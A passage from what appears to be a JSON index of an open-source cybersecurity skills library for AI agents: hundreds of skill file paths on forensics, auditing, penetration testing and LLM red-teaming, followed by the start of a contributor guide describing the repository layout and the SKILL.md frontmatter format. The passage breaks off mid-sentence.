erforming-kubernetes-etcd-security-assessment/assets/template.md","skills/performing-kubernetes-etcd-security-assessment/references/api-reference.md","skills/performing-kubernetes-etcd-security-assessment/references/standards.md","skills/performing-kubernetes-etcd-security-assessment/references/workflows.md","skills/performing-kubernetes-penetration-testing/SKILL.md","skills/performing-kubernetes-penetration-testing/assets/template.md","skills/performing-kubernetes-penetration-testing/references/api-reference.md","skills/performing-kubernetes-penetration-testing/references/standards.md","skills/performing-kubernetes-penetration-testing/references/workflows.md","skills/performing-lateral-movement-detection/SKILL.md","skills/performing-lateral-movement-detection/references/api-reference.md","skills/performing-lateral-movement-with-wmiexec/SKILL.md","skills/performing-lateral-movement-with-wmiexec/assets/template.md","skills/performing-lateral-movement-with-wmiexec/references/api-reference.md","skills/performing-lateral-movement-with-wmiexec/references/standards.md","skills/performing-lateral-movement-with-wmiexec/references/workflows.md","skills/performing-linux-log-forensics-investigation/SKILL.md","skills/performing-linux-log-forensics-investigation/assets/template.md","skills/performing-linux-log-forensics-investigation/references/api-reference.md","skills/performing-linux-log-forensics-investigation/references/standards.md","skills/performing-linux-log-forensics-investigation/references/workflows.md","skills/performing-log-analysis-for-forensic-investigation/SKILL.md","skills/performing-log-analysis-for-forensic-investigation/references/api-reference.md","skills/performing-log-source-onboarding-in-siem/SKILL.md","skills/performing-log-source-onboarding-in-siem/assets/template.md","skills/performing-log-source-onboarding-in-siem/references/api-reference.md","skills/performing-log-source-onboarding-in-siem/references/standards.md","skills/performing-log-source-onboarding-in-siem/references/workflows.md","skills/performing-malware-hash-enrichment-with-virustotal/SKILL.md","skills/performing-malware-hash-enrichment-with-virustotal/references/api-reference.md","skills/performing-malware-ioc-extraction/SKILL.md","skills/performing-malware-ioc-extraction/assets/template.md","skills/performing-malware-ioc-extraction/references/api-reference.md","skills/performing-malware-ioc-extraction/references/standards.md","skills/performing-malware-ioc-extraction/references/workflows.md","skills/performing-malware-persistence-investigation/SKILL.md","skills/performing-malware-persistence-investigation/references/api-reference.md","skills/performing-malware-triage-with-yara/SKILL.md","skills/performing-malware-triage-with-yara/references/api-reference.md","skills/performing-memory-forensics-with-volatility3-plugins/SKILL.md","skills/performing-memory-forensics-with-volatility3-plugins/assets/template.md","skills/performing-memory-forensics-with-volatility3-plugins/references/api-reference.md","skills/performing-memory-forensics-with-volatility3-plugins/references/standards.md","skills/performing-memory-forensics-with-volatility3-plugins/references/workflows.md","skills/performing-memory-forensics-with-volatility3/SKILL.es.md","skills/performing-memory-forensics-with-volatility3/SKILL.md","skills/performing-memory-forensics-with-volatility3/references/api-reference.md","skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md","skills/performing-mobile-app-certificate-pinning-bypass/assets/template.md","skills/performing-mobile-app-certificate-pinning-bypass/references/api-reference.md","skills/performing-mobile-app-certificate-pinning-bypass/references/standards.md","skills/performing-mobile-app-certificate-pinning-bypass/references/workflows.md","skills/performing-mobile-device-forensics-with-cellebrite/SKILL.md","skills/performing-mobile-device-forensics-with-cellebrite/references/api-reference.md","skills/performing-network-forensics-with-wireshark/SKILL.md","skills/performing-network-forensics-with-wireshark/references/api-reference.md","skills/performing-network-packet-capture-analysis/SKILL.md","skills/performing-network-packet-capture-analysis/assets/template.md","skills/performing-network-packet-capture-analysis/references/api-reference.md","skills/performing-network-packet-capture-analysis/references/standards.md","skills/performing-network-packet-capture-analysis/references/workflows.md","skills/performing-network-traffic-analysis-with-tshark/SKILL.md","skills/performing-network-traffic-analysis-with-tshark/references/api-reference.md","skills/performing-network-traffic-analysis-with-zeek/SKILL.md","skills/performing-network-traffic-analysis-with-zeek/references/api-reference.md","skills/performing-nist-csf-maturity-assessment/SKILL.md","skills/performing-nist-csf-maturity-assessment/assets/template.md","skills/performing-nist-csf-maturity-assessment/references/api-reference.md","skills/performing-nist-csf-maturity-assessment/references/standards.md","skills/performing-nist-csf-maturity-assessment/references/workflows.md","skills/performing-oauth-scope-minimization-review/SKILL.md","skills/performing-oauth-scope-minimization-review/references/api-reference.md","skills/performing-oil-gas-cybersecurity-assessment/SKILL.md","skills/performing-oil-gas-cybersecurity-assessment/references/api-reference.md","skills/performing-open-source-intelligence-gathering/SKILL.md","skills/performing-open-source-intelligence-gathering/assets/template.md","skills/performing-open-source-intelligence-gathering/references/api-reference.md","skills/performing-open-source-intelligence-gathering/references/standards.md","skills/performing-open-source-intelligence-gathering/references/workflows.md","skills/performing-osint-with-spiderfoot/SKILL.es.md","skills/performing-osint-with-spiderfoot/SKILL.md","skills/performing-osint-with-spiderfoot/references/api-reference.md","skills/performing-ot-network-security-assessment/SKILL.md","skills/performing-ot-network-security-assessment/assets/template.md","skills/performing-ot-network-security-assessment/references/api-reference.md","skills/performing-ot-network-security-assessment/references/standards.md","skills/performing-ot-network-security-assessment/references/workflows.md","skills/performing-ot-vulnerability-assessment-with-claroty/SKILL.md","skills/performing-ot-vulnerability-assessment-with-claroty/references/api-reference.md","skills/performing-ot-vulnerability-scanning-safely/SKILL.md","skills/performing-ot-vulnerability-scanning-safely/references/api-reference.md","skills/performing-packet-injection-attack/SKILL.md","skills/performing-packet-injection-attack/references/api-reference.md","skills/performing-paste-site-monitoring-for-credentials/SKILL.md","skills/performing-paste-site-monitoring-for-credentials/references/api-reference.md","skills/performing-phishing-simulation-with-gophish/SKILL.md","skills/performing-phishing-simulation-with-gophish/assets/template.md","skills/performing-phishing-simulation-with-gophish/references/api-reference.md","skills/performing-phishing-simulation-with-gophish/references/standards.md","skills/performing-phishing-simulation-with-gophish/references/workflows.md","skills/performing-physical-intrusion-assessment/SKILL.md","skills/performing-physical-intrusion-assessment/assets/template.md","skills/performing-physical-intrusion-assessment/references/api-reference.md","skills/performing-physical-intrusion-assessment/references/standards.md","skills/performing-physical-intrusion-assessment/references/workflows.md","skills/performing-plc-firmware-security-analysis/SKILL.md","skills/performing-plc-firmware-security-analysis/references/api-reference.md","skills/performing-post-quantum-cryptography-migration/SKILL.md","skills/performing-post-quantum-cryptography-migration/references/api-reference.md","skills/performing-power-grid-cybersecurity-assessment/SKILL.md","skills/performing-power-grid-cybersecurity-assessment/references/api-reference.md","skills/performing-privacy-impact-assessment/SKILL.md","skills/performing-privacy-impact-assessment/references/api-reference.md","skills/performing-privilege-escalation-assessment/SKILL.md","skills/performing-privilege-escalation-assessment/references/api-reference.md","skills/performing-privilege-escalation-on-linux/SKILL.md","skills/performing-privilege-escalation-on-linux/references/api-reference.md","skills/performing-privilege-escalation-on-linux/references/standards.md","skills/performing-privilege-escalation-on-linux/references/workflows.md","skills/performing-privileged-account-access-review/SKILL.md","skills/performing-privileged-account-access-review/assets/template.md","skills/performing-privileged-account-access-review/references/api-reference.md","skills/performing-privileged-account-access-review/references/standards.md","skills/performing-privileged-account-access-review/references/workflows.md","skills/performing-privileged-account-discovery/SKILL.md","skills/performing-privileged-account-discovery/references/api-reference.md","skills/performing-purple-team-atomic-testing/SKILL.md","skills/performing-purple-team-atomic-testing/references/api-reference.md","skills/performing-purple-team-exercise/SKILL.md","skills/performing-purple-team-exercise/references/api-reference.md","skills/performing-ransomware-response/SKILL.md","skills/performing-ransomware-response/references/api-reference.md","skills/performing-ransomware-tabletop-exercise/SKILL.md","skills/performing-ransomware-tabletop-exercise/assets/template.md","skills/performing-ransomware-tabletop-exercise/references/api-reference.md","skills/performing-ransomware-tabletop-exercise/references/standards.md","skills/performing-ransomware-tabletop-exercise/references/workflows.md","skills/performing-red-team-phishing-with-gophish/SKILL.md","skills/performing-red-team-phishing-with-gophish/references/api-reference.md","skills/performing-red-team-with-covenant/SKILL.md","skills/performing-red-team-with-covenant/references/api-reference.md","skills/performing-s7comm-protocol-security-analysis/SKILL.md","skills/performing-s7comm-protocol-security-analysis/references/api-reference.md","skills/performing-sca-dependency-scanning-with-snyk/SKILL.md","skills/performing-sca-dependency-scanning-with-snyk/assets/template.md","skills/performing-sca-dependency-scanning-with-snyk/references/api-reference.md","skills/performing-sca-dependency-scanning-with-snyk/references/standards.md","skills/performing-sca-dependency-scanning-with-snyk/references/workflows.md","skills/performing-scada-hmi-security-assessment/SKILL.md","skills/performing-scada-hmi-security-assessment/references/api-reference.md","skills/performing-second-order-sql-injection/SKILL.md","skills/performing-second-order-sql-injection/references/api-reference.md","skills/performing-security-headers-audit/SKILL.md","skills/performing-security-headers-audit/references/api-reference.md","skills/performing-serverless-function-security-review/SKILL.md","skills/performing-serverless-function-security-review/references/api-reference.md","skills/performing-service-account-audit/SKILL.md","skills/performing-service-account-audit/assets/template.md","skills/performing-service-account-audit/references/api-reference.md","skills/performing-service-account-audit/references/standards.md","skills/performing-service-account-audit/references/workflows.md","skills/performing-service-account-credential-rotation/SKILL.md","skills/performing-service-account-credential-rotation/assets/template.md","skills/performing-service-account-credential-rotation/references/api-reference.md","skills/performing-service-account-credential-rotation/references/standards.md","skills/performing-service-account-credential-rotation/references/workflows.md","skills/performing-soap-web-service-security-testing/SKILL.md","skills/performing-soap-web-service-security-testing/references/api-reference.md","skills/performing-soc-tabletop-exercise/SKILL.md","skills/performing-soc-tabletop-exercise/references/api-reference.md","skills/performing-soc2-type2-audit-preparation/SKILL.md","skills/performing-soc2-type2-audit-preparation/assets/template.md","skills/performing-soc2-type2-audit-preparation/references/api-reference.md","skills/performing-soc2-type2-audit-preparation/references/standards.md","skills/performing-soc2-type2-audit-preparation/references/workflows.md","skills/performing-sqlite-database-forensics/SKILL.md","skills/performing-sqlite-database-forensics/assets/template.md","skills/performing-sqlite-database-forensics/references/api-reference.md","skills/performing-sqlite-database-forensics/references/standards.md","skills/performing-sqlite-database-forensics/references/workflows.md","skills/performing-ssl-certificate-lifecycle-management/SKILL.md","skills/performing-ssl-certificate-lifecycle-management/assets/template.md","skills/performing-ssl-certificate-lifecycle-management/references/api-reference.md","skills/performing-ssl-certificate-lifecycle-management/references/standards.md","skills/performing-ssl-certificate-lifecycle-management/references/workflows.md","skills/performing-ssl-stripping-attack/SKILL.md","skills/performing-ssl-stripping-attack/references/api-reference.md","skills/performing-ssl-tls-inspection-configuration/SKILL.md","skills/performing-ssl-tls-inspection-configuration/references/api-reference.md","skills/performing-ssl-tls-security-assessment/SKILL.md","skills/performing-ssl-tls-security-assessment/references/api-reference.md","skills/performing-ssrf-vulnerability-exploitation/SKILL.md","skills/performing-ssrf-vulnerability-exploitation/references/api-reference.md","skills/performing-static-malware-analysis-with-pe-studio/SKILL.md","skills/performing-static-malware-analysis-with-pe-studio/references/api-reference.md","skills/performing-steganography-detection/SKILL.md","skills/performing-steganography-detection/references/api-reference.md","skills/performing-subdomain-enumeration-with-subfinder/SKILL.md","skills/performing-subdomain-enumeration-with-subfinder/assets/template.md","skills/performing-subdomain-enumeration-with-subfinder/references/api-reference.md","skills/performing-subdomain-enumeration-with-subfinder/references/standards.md","skills/performing-subdomain-enumeration-with-subfinder/references/workflows.md","skills/performing-supply-chain-attack-simulation/SKILL.md","skills/performing-supply-chain-attack-simulation/references/api-reference.md","skills/performing-thick-client-application-penetration-test/SKILL.md","skills/performing-thick-client-application-penetration-test/assets/template.md","skills/performing-thick-client-application-penetration-test/references/api-reference.md","skills/performing-thick-client-application-penetration-test/references/standards.md","skills/performing-thick-client-application-penetration-test/references/workflows.md","skills/performing-threat-emulation-with-atomic-red-team/SKILL.md","skills/performing-threat-emulation-with-atomic-red-team/references/api-reference.md","skills/performing-threat-hunting-with-elastic-siem/SKILL.md","skills/performing-threat-hunting-with-elastic-siem/references/api-reference.md","skills/performing-threat-hunting-with-yara-rules/SKILL.md","skills/performing-threat-hunting-with-yara-rules/references/api-reference.md","skills/performing-threat-intelligence-sharing-with-misp/SKILL.md","skills/performing-threat-intelligence-sharing-with-misp/references/api-reference.md","skills/performing-threat-landscape-assessment-for-sector/SKILL.md","skills/performing-threat-landscape-assessment-for-sector/references/api-reference.md","skills/performing-threat-modeling-with-owasp-threat-dragon/SKILL.md","skills/performing-threat-modeling-with-owasp-threat-dragon/assets/template.md","skills/performing-threat-modeling-with-owasp-threat-dragon/references/api-reference.md","skills/performing-threat-modeling-with-owasp-threat-dragon/references/standards.md","skills/performing-threat-modeling-with-owasp-threat-dragon/references/workflows.md","skills/performing-timeline-reconstruction-with-plaso/SKILL.md","skills/performing-timeline-reconstruction-with-plaso/references/api-reference.md","skills/performing-user-behavior-analytics/SKILL.md","skills/performing-user-behavior-analytics/references/api-reference.md","skills/performing-vlan-hopping-attack/SKILL.md","skills/performing-vlan-hopping-attack/references/api-reference.md","skills/performing-vulnerability-scanning-with-nessus/SKILL.md","skills/performing-vulnerability-scanning-with-nessus/references/api-reference.md","skills/performing-web-application-firewall-bypass/SKILL.md","skills/performing-web-application-firewall-bypass/references/api-reference.md","skills/performing-web-application-penetration-test/SKILL.md","skills/performing-web-application-penetration-test/references/api-reference.md","skills/performing-web-application-scanning-with-nikto/SKILL.md","skills/performing-web-application-scanning-with-nikto/assets/template.md","skills/performing-web-application-scanning-with-nikto/references/api-reference.md","skills/performing-web-application-scanning-with-nikto/references/standards.md","skills/performing-web-application-scanning-with-nikto/references/workflows.md","skills/performing-web-application-vulnerability-triage/SKILL.md","skills/performing-web-application-vulnerability-triage/references/api-reference.md","skills/performing-web-application-vulnerability-triage/references/standards.md","skills/performing-web-application-vulnerability-triage/references/workflows.md","skills/performing-web-cache-deception-attack/SKILL.md","skills/performing-web-cache-deception-attack/references/api-reference.md","skills/performing-web-cache-poisoning-attack/SKILL.md","skills/performing-web-cache-poisoning-attack/references/api-reference.md","skills/performing-wifi-password-cracking-with-aircrack/SKILL.md","skills/performing-wifi-password-cracking-with-aircrack/references/api-reference.md","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/SKILL.md","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/assets/template.md","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/api-reference.md","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/standards.md","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/workflows.md","skills/performing-wireless-network-penetration-test/SKILL.md","skills/performing-wireless-network-penetration-test/assets/template.md","skills/performing-wireless-network-penetration-test/references/api-reference.md","skills/performing-wireless-network-penetration-test/references/standards.md","skills/performing-wireless-network-penetration-test/references/workflows.md","skills/performing-wireless-security-assessment-with-kismet/SKILL.md","skills/performing-wireless-security-assessment-with-kismet/references/api-reference.md","skills/performing-yara-rule-development-for-detection/SKILL.md","skills/performing-yara-rule-development-for-detection/assets/template.md","skills/performing-yara-rule-development-for-detection/references/api-reference.md","skills/performing-yara-rule-development-for-detection/references/standards.md","skills/performing-yara-rule-development-for-detection/references/workflows.md","skills/post-exploiting-microsoft-graph-with-graphrunner/SKILL.md","skills/post-exploiting-microsoft-graph-with-graphrunner/references/api-reference.md","skills/post-exploiting-microsoft-graph-with-graphrunner/references/standards.md","skills/prioritizing-vulnerabilities-with-cvss-scoring/SKILL.md","skills/prioritizing-vulnerabilities-with-cvss-scoring/assets/template.md","skills/prioritizing-vulnerabilities-with-cvss-scoring/references/api-reference.md","skills/prioritizing-vulnerabilities-with-cvss-scoring/references/standards.md","skills/prioritizing-vulnerabilities-with-cvss-scoring/references/workflows.md","skills/processing-stix-taxii-feeds/SKILL.md","skills/processing-stix-taxii-feeds/references/api-reference.md","skills/profiling-threat-actor-groups/SKILL.md","skills/profiling-threat-actor-groups/references/api-reference.md","skills/recovering-deleted-files-with-photorec/SKILL.md","skills/recovering-deleted-files-with-photorec/references/api-reference.md","skills/recovering-from-ransomware-attack/SKILL.md","skills/recovering-from-ransomware-attack/references/api-reference.md","skills/recovering-from-ransomware-attack/references/standards.md","skills/recovering-from-ransomware-attack/references/workflows.md","skills/red-teaming-llms-with-garak/SKILL.md","skills/red-teaming-llms-with-garak/references/api-reference.md","skills/red-teaming-llms-with-garak/references/standards.md","skills/relaying-ntlm-for-adcs-esc8/SKILL.md","skills/relaying-ntlm-for-adcs-esc8/references/api-reference.md","skills/relaying-ntlm-for-adcs-esc8/references/standards.md","skills/remediating-s3-bucket-misconfiguration/SKILL.md","skills/remediating-s3-bucket-misconfiguration/references/api-reference.md","skills/reverse-engineering-android-malware-with-jadx/SKILL.md","skills/reverse-engineering-android-malware-with-jadx/references/api-reference.md","skills/reverse-engineering-dotnet-malware-with-dnspy/SKILL.md","skills/reverse-engineering-dotnet-malware-with-dnspy/references/api-reference.md","skills/reverse-engineering-ios-app-with-frida/SKILL.md","skills/reverse-engineering-ios-app-with-frida/assets/template.md","skills/reverse-engineering-ios-app-with-frida/references/api-reference.md","skills/reverse-engineering-ios-app-with-frida/references/standards.md","skills/reverse-engineering-ios-app-with-frida/references/workflows.md","skills/reverse-engineering-malware-with-ghidra/SKILL.md","skills/reverse-engineering-malware-with-ghidra/references/api-reference.md","skills/reverse-engineering-ransomware-encryption-routine/SKILL.md","skills/reverse-engineering-ransomware-encryption-routine/assets/template.md","skills/reverse-engineering-ransomware-encryption-routine/references/api-reference.md","skills/reverse-engineering-ransomware-encryption-routine/references/standards.md","skills/reverse-engineering-ransomware-encryption-routine/references/workflows.md","skills/reverse-engineering-rust-malware/SKILL.md","skills/reverse-engineering-rust-malware/assets/template.md","skills/reverse-engineering-rust-malware/references/api-reference.md","skills/reverse-engineering-rust-malware/references/standards.md","skills/reverse-engineering-rust-malware/references/workflows.md","skills/scanning-container-images-with-grype/SKILL.md","skills/scanning-container-images-with-grype/assets/template.md","skills/scanning-container-images-with-grype/references/api-reference.md","skills/scanning-container-images-with-grype/references/standards.md","skills/scanning-container-images-with-grype/references/workflows.md","skills/scanning-containers-with-trivy-in-cicd/SKILL.md","skills/scanning-containers-with-trivy-in-cicd/assets/template.md","skills/scanning-containers-with-trivy-in-cicd/references/api-reference.md","skills/scanning-containers-with-trivy-in-cicd/references/standards.md","skills/scanning-containers-with-trivy-in-cicd/references/workflows.md","skills/scanning-docker-images-with-trivy/SKILL.md","skills/scanning-docker-images-with-trivy/assets/template.md","skills/scanning-docker-images-with-trivy/references/api-reference.md","skills/scanning-docker-images-with-trivy/references/standards.md","skills/scanning-docker-images-with-trivy/references/workflows.md","skills/scanning-iac-and-images-with-trivy/SKILL.md","skills/scanning-iac-and-images-with-trivy/references/api-reference.md","skills/scanning-iac-and-images-with-trivy/references/standards.md","skills/scanning-infrastructure-with-nessus/SKILL.md","skills/scanning-infrastructure-with-nessus/assets/template.md","skills/scanning-infrastructure-with-nessus/references/api-reference.md","skills/scanning-infrastructure-with-nessus/references/standards.md","skills/scanning-infrastructure-with-nessus/references/workflows.md","skills/scanning-kubernetes-manifests-with-kubesec/SKILL.md","skills/scanning-kubernetes-manifests-with-kubesec/assets/template.md","skills/scanning-kubernetes-manifests-with-kubesec/references/api-reference.md","skills/scanning-kubernetes-manifests-with-kubesec/references/standards.md","skills/scanning-kubernetes-manifests-with-kubesec/references/workflows.md","skills/scanning-network-with-nmap-advanced/SKILL.md","skills/scanning-network-with-nmap-advanced/references/api-reference.md","skills/securing-agentic-ai-tool-invocation/SKILL.md","skills/securing-agentic-ai-tool-invocation/references/api-reference.md","skills/securing-agentic-ai-tool-invocation/references/standards.md","skills/securing-api-gateway-with-aws-waf/SKILL.md","skills/securing-api-gateway-with-aws-waf/references/api-reference.md","skills/securing-aws-iam-permissions/SKILL.md","skills/securing-aws-iam-permissions/references/api-reference.md","skills/securing-aws-lambda-execution-roles/SKILL.md","skills/securing-aws-lambda-execution-roles/references/api-reference.md","skills/securing-azure-with-microsoft-defender/SKILL.md","skills/securing-azure-with-microsoft-defender/references/api-reference.md","skills/securing-container-registry-images/SKILL.md","skills/securing-container-registry-images/references/api-reference.md","skills/securing-container-registry-with-harbor/SKILL.md","skills/securing-container-registry-with-harbor/assets/template.md","skills/securing-container-registry-with-harbor/references/api-reference.md","skills/securing-container-registry-with-harbor/references/standards.md","skills/securing-container-registry-with-harbor/references/workflows.md","skills/securing-github-actions-workflows/SKILL.md","skills/securing-github-actions-workflows/assets/template.md","skills/securing-github-actions-workflows/references/api-reference.md","skills/securing-github-actions-workflows/references/standards.md","skills/securing-github-actions-workflows/references/workflows.md","skills/securing-helm-chart-deployments/SKILL.md","skills/securing-helm-chart-deployments/assets/template.md","skills/securing-helm-chart-deployments/references/api-reference.md","skills/securing-helm-chart-deployments/references/standards.md","skills/securing-helm-chart-deployments/references/workflows.md","skills/securing-historian-server-in-ot-environment/SKILL.md","skills/securing-historian-server-in-ot-environment/references/api-reference.md","skills/securing-kubernetes-on-cloud/SKILL.md","skills/securing-kubernetes-on-cloud/references/api-reference.md","skills/securing-remote-access-to-ot-environment/SKILL.md","skills/securing-remote-access-to-ot-environment/references/api-reference.md","skills/securing-serverless-functions/SKILL.md","skills/securing-serverless-functions/references/api-reference.md","skills/testing-android-intents-for-vulnerabilities/SKILL.md","skills/testing-android-intents-for-vulnerabilities/assets/template.md","skills/testing-android-intents-for-vulnerabilities/references/api-reference.md","skills/testing-android-intents-for-vulnerabilities/references/standards.md","skills/testing-android-intents-for-vulnerabilities/references/workflows.md","skills/testing-api-authentication-weaknesses/SKILL.md","skills/testing-api-authentication-weaknesses/references/api-reference.md","skills/testing-api-for-broken-object-level-authorization/SKILL.md","skills/testing-api-for-broken-object-level-authorization/references/api-reference.md","skills/testing-api-for-mass-assignment-vulnerability/SKILL.md","skills/testing-api-for-mass-assignment-vulnerability/references/api-reference.md","skills/testing-api-security-with-owasp-top-10/SKILL.md","skills/testing-api-security-with-owasp-top-10/references/api-reference.md","skills/testing-cors-misconfiguration/SKILL.md","skills/testing-cors-misconfiguration/references/api-reference.md","skills/testing-for-broken-access-control/SKILL.md","skills/testing-for-broken-access-control/references/api-reference.md","skills/testing-for-business-logic-vulnerabilities/SKILL.md","skills/testing-for-business-logic-vulnerabilities/references/api-reference.md","skills/testing-for-email-header-injection/SKILL.md","skills/testing-for-email-header-injection/references/api-reference.md","skills/testing-for-host-header-injection/SKILL.md","skills/testing-for-host-header-injection/references/api-reference.md","skills/testing-for-json-web-token-vulnerabilities/SKILL.md","skills/testing-for-json-web-token-vulnerabilities/references/api-reference.md","skills/testing-for-open-redirect-vulnerabilities/SKILL.md","skills/testing-for-open-redirect-vulnerabilities/references/api-reference.md","skills/testing-for-sensitive-data-exposure/SKILL.md","skills/testing-for-sensitive-data-exposure/references/api-reference.md","skills/testing-for-system-prompt-leakage/SKILL.md","skills/testing-for-system-prompt-leakage/references/api-reference.md","skills/testing-for-system-prompt-leakage/references/standards.md","skills/testing-for-xml-injection-vulnerabilities/SKILL.md","skills/testing-for-xml-injection-vulnerabilities/references/api-reference.md","skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md","skills/testing-for-xss-vulnerabilities-with-burpsuite/references/api-reference.md","skills/testing-for-xss-vulnerabilities/SKILL.md","skills/testing-for-xss-vulnerabilities/references/api-reference.md","skills/testing-for-xxe-injection-vulnerabilities/SKILL.md","skills/testing-for-xxe-injection-vulnerabilities/references/api-reference.md","skills/testing-jwt-token-security/SKILL.md","skills/testing-jwt-token-security/references/api-reference.md","skills/testing-mobile-api-authentication/SKILL.md","skills/testing-mobile-api-authentication/assets/template.md","skills/testing-mobile-api-authentication/references/api-reference.md","skills/testing-mobile-api-authentication/references/standards.md","skills/testing-mobile-api-authentication/references/workflows.md","skills/testing-oauth2-implementation-flaws/SKILL.md","skills/testing-oauth2-implementation-flaws/references/api-reference.md","skills/testing-prompt-injection-in-rag-pipelines/SKILL.md","skills/testing-prompt-injection-in-rag-pipelines/references/api-reference.md","skills/testing-prompt-injection-in-rag-pipelines/references/standards.md","skills/testing-ransomware-recovery-procedures/SKILL.md","skills/testing-ransomware-recovery-procedures/references/api-reference.md","skills/testing-websocket-api-security/SKILL.md","skills/testing-websocket-api-security/references/api-reference.md","skills/tracking-threat-actor-infrastructure/SKILL.md","skills/tracking-threat-actor-infrastructure/assets/template.md","skills/tracking-threat-actor-infrastructure/references/api-reference.md","skills/tracking-threat-actor-infrastructure/references/standards.md","skills/tracking-threat-actor-infrastructure/references/workflows.md","skills/triaging-security-alerts-in-splunk/SKILL.md","skills/triaging-security-alerts-in-splunk/references/api-reference.md","skills/triaging-security-incident-with-ir-playbook/SKILL.md","skills/triaging-security-incident-with-ir-playbook/assets/template.md","skills/triaging-security-incident-with-ir-playbook/references/api-reference.md","skills/triaging-security-incident-with-ir-playbook/references/standards.md","skills/triaging-security-incident-with-ir-playbook/references/workflows.md","skills/triaging-security-incident/SKILL.md","skills/triaging-security-incident/references/api-reference.md","skills/triaging-vulnerabilities-with-ssvc-framework/SKILL.md","skills/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md","skills/triaging-vulnerabilities-with-ssvc-framework/references/standards.md","skills/triaging-vulnerabilities-with-ssvc-framework/references/workflows.md","skills/triaging-windows-with-kape/SKILL.md","skills/triaging-windows-with-kape/references/api-reference.md","skills/triaging-windows-with-kape/references/standards.md","skills/validating-backup-integrity-for-recovery/SKILL.md","skills/validating-backup-integrity-for-recovery/references/api-reference.md","skills/validating-tpm-measured-boot-attestation/SKILL.md","skills/validating-tpm-measured-boot-attestation/references/api-reference.md","skills/validating-tpm-measured-boot-attestation/references/standards.md","skills/verifying-build-provenance-with-slsa-sigstore/SKILL.md","skills/verifying-build-provenance-with-slsa-sigstore/references/api-reference.md","skills/verifying-build-provenance-with-slsa-sigstore/references/standards.md","tools/README.md"],"skills":{".claude-plugin/marketplace.json":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=.claude-plugin%2Fmarketplace.json -->",".claude-plugin/plugin.json":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=.claude-plugin%2Fplugin.json -->",".github/copilot-instructions.md":"# Copilot Instructions for Anthropic-Cybersecurity-Skills\n\n**Anthropic-Cybersecurity-Skills** is the largest open-source cybersecurity skills library for AI agents, containing 817 production-grade skills mapped to 6 industry frameworks (MITRE ATT&CK, NIST CSF, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3). This document guides Copilot agents contributing new skills and framework mappings.\n\n## Quick Facts\n\n- **Type**: Open-source cybersecurity skills library + framework mapping hub\n- **Skills**: 817 across 29 security domains\n- **Frameworks**: 6 (MITRE ATT&CK v14, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3)\n- **Format**: agentskills.io standard (YAML frontmatter + Markdown)\n- **License**: Apache 2.0 (ethical use required)\n- **Community**: Independent, community-created (not affiliated with Anthropic)\n\n## Repository Structure\n\n```\nAnthropic-Cybersecurity-Skills/\n├── skills/                    # 817 skill directories (kebab-case)\n│   ├── abusing-dpapi-for-credential-access/\n│   │   ├── SKILL.md          # Frontmatter + detailed instructions\n│   │   ├── LICENSE\n│   │   ├── scripts/\n│   │   │   └── process.py    # Optional helper scripts\n│   │   └── references/\n│   │       ├── api-reference.md\n│   │       ├── standards.md\n│   │       └── workflows.md\n│   └── ... (816 more)\n├── mappings/                  # Framework coverage & alignment\n│   ├── mitre-attack/\n│   │   ├── attack-navigator-layer.json\n│   │   └── coverage-summary.md\n│   ├── nist-csf/\n│   ├── owasp/\n│   └── README.md\n├── docs/                      # Additional documentation\n├── index.json                 # Central skill registry (auto-generated)\n├── CONTRIBUTING.md            # Contribution guide\n├── SECURITY.md               # Ethical use & dual-use policies\n└── CODE_OF_CONDUCT.md        # Community guidelines\n```\n\n## Build & Development\n\n### Prerequisites\n\n- **Git** (for cloning and version control)\n- **Python 3.8+** (optional, for scripts/metadata generation)\n- **jq** (optional, for JSON processing; useful for index.json queries)\n\n### Local Setup\n\n```bash\n# Clone the repository\ngit clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git\ncd Anthropic-Cybersecurity-Skills\n\n# No installation needed—skills are static Markdown files\n# View a skill directly:\ncat skills/abusing-dpapi-for-credential-access/SKILL.md\n\n# Search for skills by keyword:\ngrep -r \"credential-access\" skills/*/SKILL.md | head -10\n\n# Query the central index:\njq '.skills[] | select(.description | contains(\"Active Directory\"))' index.json\n```\n\n### Generating/Updating index.json\n\nWhen adding new skills, the index must be regenerated:\n\n```bash\n# If a script exists (check repository):\npython3 generate_index.py\n\n# Otherwise, manually verify:\njq '.skills | length' index.json  # Should match skill directory count\n```\n\n## Architecture & Concepts\n\n### Skill Structure\n\nEach skill is a **self-contained directory** following the `agentskills.io` standard:\n\n```\nskills/skill-name/\n├── SKILL.md              # The authoritative skill definition\n├── LICENSE               # Apache 2.0 (usually)\n├── scripts/\n│   └── process.py        # Optional: helper scripts, agent implementations\n└── references/\n    ├── api-reference.md  # Technical API docs for the skill\n    ├── standards.md      # CVE, NIST, MITRE refs\n    └── workflows.md      # Deep technical procedures\n```\n\n### SKILL.md Format\n\nEvery skill follows this structure:\n\n```markdown\n---\nname: skill-name-kebab-case\ndescription: >-\n  Clear, agent-discoverable description.\n  Include keywords for search/filtering.\n  This is what agents read to decide whether to use this skill.\ndomain: cybersecurity\nsubdomain: red-teaming  # e.g. digital-forensics, compliance-governance, etc.\ntags:\n  - tool-names (mimikatz, burp-suite, etc.)\n  - frameworks (active-directory, cloud, kubernetes, etc.)\n  - techniques (credential-access, privilege-escalation, etc.)\nversion: \"1.0\"\nauthor: github-username\nlicense: Apache-2.0\nnist_csf:\n  - DE.CM-01\n  - PR.AC-01\nmitre_attack:\n  - T1555.004\n  - T1078.002\nmitre_atlas:\n  - AML.P1.003\nmitre_d3fend:\n  - D3-CAA\n  - D3-PCA\nnist_ai_rmf:\n  - GOV-1\nmitre_f3:\n  - FI-B-003\n---\n\n# Skill Title\n\n> **Legal Notice:** This skill is for authorized [penetration testing/research/defense] only.\n> Unauthorized use may violate computer fraud laws. Always operate within rules-of-engagement.\n\n## Overview\n\nClear, concise explanation of what the skill does and why an agent needs it.\nInclude threat model context if 